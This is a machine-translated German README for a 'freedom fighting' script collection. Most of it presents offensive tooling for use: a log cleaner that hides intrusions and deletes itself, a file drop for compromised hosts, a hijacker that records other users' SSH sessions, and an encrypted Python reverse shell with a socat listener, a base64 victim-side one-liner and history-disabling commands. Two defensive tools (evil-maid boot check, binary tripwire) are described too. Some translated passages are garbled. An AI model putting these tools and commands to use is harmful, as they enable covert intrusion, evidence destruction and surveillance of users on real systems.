Dieses Repository enthält Skripte, die sich während Ihrer Freiheitsbekämpfungsaktivitäten nützlich erweisen können. Es wird gelegentlich aktualisiert, wenn ich etwas brauche, das ich nicht online finden kann. Hier wird alles unter den Bedingungen der GPL V3 -Lizenz verteilt.
Beiträge und Zuganfragen sind sehr willkommen.
Ein Protokollreiniger, der belastende Einträge beseitigt in:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(steuert die Ausgabe der who
, w
und last
-Befehle)/var/log/lastlog
(steuert die Ausgabe des lastlog
-Befehls)/var/**/*.log
(.log.1, .log.2.gz usw. enthalten)Die Einträge werden basierend auf einer IP -Adresse und/oder dem zugehörigen Hostnamen gelöscht.
Es wird speziell darauf geachtet, dass das Brechen von Dateideskriptoren während der Manipulation von Protokollen vermieden wird. Dies bedeutet, dass Protokolle weiterhin geschrieben werden, nachdem sie manipuliert wurden, was die Bereinigung viel weniger auffällig macht. Die gesamte Arbeit findet in einem TMPFS -Laufwerk statt und alle erstellten Dateien werden sicher abgelöscht.
Warnung: Das Skript wurde nur auf Linux getestet und kann UTMP -Einträge nicht an anderen Unix -Aromen reinigen.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
Wenn keine Argumente angegeben sind, versucht das Skript, die IP -Adresse zu Scrub basierend auf der Umgebungsvariablen SSH_CONNECTION
zu bestimmen. Jeder Eintrag, der den umgekehrten DNs dieser IP entspricht, wird ebenfalls entfernt.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... Entfernen Sie alle Einträge für das Benutzerrouch, bei dem die IP -Adresse 151.80.119.32 oder der Hostame ist manalyzer.org
. Der Benutzer wird auch aufgefordert, bevor jeder Datensatz aufgrund der Option --check
-Option gelöscht wird. Schließlich wird die Datei /etc/app/logs/access.log
zusätzlich zu allen Standardeinstellungen verarbeitet.
Wenn Ordner als Positionsargumente angegeben werden ( /etc/app/logs/
zum Beispiel), krabbelt das Skript sie rekursiv und reinigt jede Datei mit der Erweiterung .log
( *.log.1, *.log.2.gz usw. .
Möglicherweise möchten Sie auch beliebige Zeilen aus der Protokolldatei entfernen. Verwenden Sie dazu die Option --regexp
. In der folgenden Befehlszeile werden beispielsweise alle Postanforderungen an PHP -Dateien aus dem angegebenen IP gesucht:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
Angenommen, dies wird von einem SSH -Zusammenhang ausgeführt, löscht dieser Befehl alle Protokolle, die sich auf die Aktivität des aktuellen Benutzers beziehen, mit der erkannten IP -Adresse und dem Hostnamen, unmittelbar nachdem das Zusammenhang geschlossen wurde. Dieses Skript löscht sich anschließend automatisch. Bitte denken Sie daran, dass Sie keine Gelegenheit haben, Fehlermeldungen aus der Anwendung zu erhalten. Sie werden aufgefordert, die Protokolle einmal zu löschen, bevor Sie den Dämon hervorbringen, um sicherzustellen, dass die von Ihnen angegebenen Argumente korrekt sind. Wenn Sie sich in einer Shell ohne TTY befinden, kann das Skript nicht erkennen, wann die Sitzung endet. Sie werden mitgeteilt, dass die Protokolle in 60 Sekunden gelöscht werden und dass Sie sich vorher anmelden sollten (oder riskieren, mehr Einträge zu erstellen, nachdem das Skript ausgeführt wurde).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
Dieses Skript wird ohne Garantien bereitgestellt. Beschuldigen Sie mir nicht, dass es nicht alle Spuren von etwas abwischt, das Sie nicht in erster Linie hätten tun sollen.
Ein tragbares und sicheres Dateifreigabe -Skript. Während der Freiheitskämpfe ist es im Allgemeinen nicht möglich, SCP -Dateien in kompromittierte Maschinen zu bringen. Es werden alternative Möglichkeiten zum Hochladen von Dateien benötigt. Die meisten Freigabedienste sind jedoch entweder zu restriktiv oder bieten keine Möglichkeit, Dateien leicht aus der Befehlszeile abzurufen. Sicherheitsüberlegungen können auch verhindern, dass Menschen sensible Dateien auf Cloud -Anbieter hochladen, weil sie befürchten, dass sie eine Kopie davon für immer behalten werden.
Dieses kleine und tragbare Bash -Skript stützt sich auf Transfer.sh, um dieses Problem zu lösen. Es...
torify
, wenn es auf dem System für eine erhöhte Aufgabe vorhanden ist. Die einzigen Abhängigkeiten sind openssl
und entweder curl
oder wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
Zusätzliche Argumente während des Uploads ermöglichen es Ihnen, die maximale Anzahl von Downloads zu steuern, die für die Datei ( -m
) zulässig sind, und wie viele Tage Transfer.sh beibehalten ( -d
). Der Standardwert für diese beiden Optionen beträgt 1.
Warnung : Verwenden Sie keine Leerzeichen im Verschlüsselungsschlüssel, oder nur das erste Wort Ihrer Passphrase wird berücksichtigt. Dies liegt an der Art und Weise, wie getopts
Argumente umgeht (denke ich). Pull -Anfragen sind willkommen, wenn jemand daran interessiert ist, dies zu beheben.
Autojack ist ein kurzes Skript, das den Shelljack von LeereMonkey nutzt, um das Terminal eines jeden Benutzer, der über SSH herstellt, zu protokollieren. Es beobachtet auth.log
für erfolgreiche Verbindungen, findet die Haltung des bash
-Prozesses des Benutzers und überlässt den Rest shelljack
.
Starten Sie es in einem Bildschirm und warten Sie, bis sich andere Benutzer anmelden. Ihre Sitzung wird an /root/.local/sj.log.[user].[timestamp]
weibliche.
Das Skript ist nicht besonders heimlich (es wird kein Versuch unternommen, den shelljack
-Prozess zu verbergen), aber es wird den Job erledigen. Beachten Sie, dass der root
Benutzer nicht gezielt ist, um Selbsterkriminierung zu vermeiden (dies kann trivial im Code trivial kommentiert werden).
Listurl ist eine Multi-Thread-Website Crawler, die eine Liste der verfügbaren Seiten aus dem Ziel erhält. Dieses Skript ist nützlich für Bug-Bounty-Jäger, die versuchen, die Angriffsoberfläche einer Webanwendung festzulegen.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
Hier ist die Beispielausgabe für eine kleine Website:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
Die Optionen --exclude-regexp
UND --show-regexp
werden verwendet, um zu steuern, welche URLs angezeigt oder ignoriert werden sollen. Zum Beispiel möchten Sie im obigen Beispiel möglicherweise Seiten ignorieren, die wahrscheinlich sehr ähnlich sind:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
Beachten Sie, dass die passenden URLs nicht gekrabbt werden. Dies ist besonders nützlich, wenn das Skript auf tiefen Kommentarseiten oder sich wiederholenden Inhalten verloren geht. Alternativ können Sie nur an PHP-Skripten interessiert sein: ./listurl.py --show-regexp ".php$"
.
Standardmäßig geht der Crawler nur 3 Stufen tief. Dies können Sie mit der Option --max-depth
steuern.
Eine weitere Überlegung ist, ob URLs, die auf externe Bereiche hinweisen, befolgt werden sollten. Standardmäßig ist das Skript nicht, aber Sie können dies aktivieren, indem Sie den --external
Schalter einstellen. Wenn Sie nicht an zufälligen externen Domänen interessiert sind, aber dennoch das Crawl auf Subdomains ausdehnen möchten, können Sie den --subdomains
-Schalter festlegen:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
Beachten Sie, dass Sie, wenn das Skript zu lang dauert, jederzeit Strg+C drücken können, um es zu schließen. Anschließend werden die bisher entdeckten Seiten gezeigt.
Wenn Sie auf einer Website auf authentifizierte Seiten zugreifen müssen, können Sie von der Befehlszeile mit der Option --cookie
Cookies für Listurl.py zur Verfügung stellen.
Wenn Sie an einer Website arbeiten, die ein ungültiges oder selbstsigniertes SSL-Zertifikat hat, verwenden Sie die Option- --no-certificate-check
um SSL-Fehler zu ignorieren.
ersh
ist eine verschlüsselte Reverse -Shell, die in reinem Python geschrieben ist. Waren Sie schon einmal in einer Box ohne Standard -Versorgungsunternehmen oder Kompilierungstools und ohne einfache Möglichkeit, Binärdateien hochzuladen? Haben Sie Angst, dass eine IDS eine ausgehende Hülle bemerkt? Versehentlich Ihren NetCat -Hörer geschlossen, weil Sie ^C
gedrückt haben? Nicht mehr leiden.
ersh
bietet die folgenden Funktionen:
Eine detailliertere Diskussion darüber, wie dieses Tool entstanden ist, finden Sie in diesem Blog -Beitrag.
Dieses Skript muss bearbeitet werden, bevor es funktioniert! Suchen Sie am Anfang nach diesem Marker:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
Der HOST
und PORT
sind selbsterklärend, benötigen jedoch möglicherweise zusätzliche Hilfe für die SSL-Zertifikate. Niemand möchte jedoch gegen den Kunden von OpenSSL kämpfen, sodass Sie nur die folgenden Einzeiler verwenden können:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
Das war's! Sie sollten jetzt über fünf neue Dateien in Ihrem aktuellen Ordner verfügen: server.(crt|key|pem)
und client.(crt|key)
. Einige von ihnen müssen in das Skript eingefügt werden, damit sich die Reverse Shell und der Hörer gegenseitig authentifizieren können. Speziell:
client_key
sollte den Inhalt von client.key
enthalten.client_crt
sollte den Inhalt von client.crt
enthalten.server_crt
sollte den Inhalt des server.crt
enthalten.Das ist es, keine Bearbeitung mehr erforderlich.
In Anbetracht der Tatsache, dass eine vollständige TLS -Verhandlung fortgesetzt wird, reicht ein traditioneller nc
-Zuhörer hier nicht aus. socat
wurde für diese Aufgabe ausgewählt, da die Verschlüsselung und TTYs umgehen können. Bei Debian-basierten Verteilungen sollten Sie in der Lage sein, sie zu erhalten, indem Sie sudo apt-get install socat
einfach ausführen.
Angenommen, Sie sind noch in dem Ordner, in dem Sie die Schlüssel und Zertifikate generiert haben, und Sie möchten Port 443 anhören. Hier ist die Befehlszeile, die Sie auf der Maschine ausführen sollten, in der die Reverse Shell ankommt:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Sie müssen das Skript nicht in den Remote -Computer kopieren, damit es funktioniert. Hier ist eine einfache Möglichkeit, es von einer nicht interaktiven Hülle auszuführen. Kopieren Sie das gesamte Skript in Ihre Zwischenablage und führen Sie die folgenden Befehle im Opfer aus:
python - <<'EOF'
[paste script contents here]
'EOF'
Wenn Sie versuchen, ersh.py
aus einer Umgebung zu starten, die nicht mehrere Zeilen (wie z. B. weevely) unterstützt, können Sie auch versuchen, einen solchen Ein-Liner zu generieren:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
Auf der Empfängermaschine:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Über das Opfer:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
Und wieder auf dem Empfänger:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
Dieses Skript wurde geschrieben, um böse Maid -Angriffe zu erkennen. Dies geschieht, indem Sie zur Startzeit überprüfen, ob die Festplatte aufgeteilt wurde, jedoch nicht im Betriebssystem (zum Beispiel, wenn es für eine Kopie aus dem Computer herausgenommen wurde, oder wenn jemand versuchte, den Computer zu starten, aber von einem FDE -Passwort gestoppt wurde ).
Sie müssen sicherstellen, dass dieses Skript an jedem Start ausgeführt wird. Die folgenden Anweisungen funktionieren über Verteilungen mit systemd.
/etc/systemd/system/
. Reparieren Sie nach Bedarf die Wege darin. Das Skript wird als root ausgeführt. Stellen Sie also sicher, dass es nicht weltweit beschreibbar ist!#> systemctl enable boot_check.service
Abhängigkeiten installieren:
#> apt install smartmontools dialog
Führen Sie das Skript einmal aus, damit es initialisiert:
#> ./boot_check.py
Wenn eine Bestätigungsnachricht angezeigt wird, können Sie loslegen.
Wenn Sie sicherstellen möchten, dass das Skript funktioniert, stellen Sie sicher, dass Sie Folgendes tun:
Dieses Skript wurde erstellt, um eine einfache Möglichkeit für "Booby-Trap" bestimmte ausführbare Ausführbarungen auf einem Linux-System zu bieten. Die Idee ist, Eindringlinge zu erkennen, wenn sie bestimmte Binärdateien ( id
, whoami
, gcc
) auf einem Server verwenden, den sie nicht besitzen.
Um diese Binärdateien zu schützen notify_hook.py
erstellen Sie symbolische Links zu diesem Skript im PATH
. notify_hook
sendet Ihnen dann eine Warnung und ruft das beabsichtigte Programm transparent an. Wenn Sie beispielsweise id
"schützen" möchten, erstellen Sie einfach den folgenden Symlink auf Ihrer Maschine:
ln -s path/to/notify_hook.py /usr/local/bin/id
... und alle zukünftigen Anrufe zur id
sollten durch dieses Skript geleitet werden. Dies ist offensichtlich keine narrensichere Möglichkeit, Hacker auf Ihren Systemen zu erkennen, aber es sollte dennoch die nachlässigsten Eindringlinge fangen.
Einige Programme und Skripte in Ihrem System können regelmäßig einige der Binärdateien aufrufen, die Sie schützen möchten. In diesem Fall können Sie eine Variable namens CALLER_WHITELIST
zu Beginn des Skripts bearbeiten. Legen Sie den Namen dieser Prozesse in die Liste, um Warnungen von ihnen zu deaktivieren (reguläre Ausdrücke werden akzeptiert).
Die in diesem Skript implementierte aktuelle Benachrichtigungsmethode ist eine Textnachricht, die das Signal mit dem Signal-Cli von ASAMK gesendet hat. Sie müssen dieses Projekt separat installieren, wenn Sie es verwenden möchten, oder wahrscheinlicher, dass die Funktion notify_callback
auf notify_hook.py
mit allen Ihren Anforderungen übereinstimmt.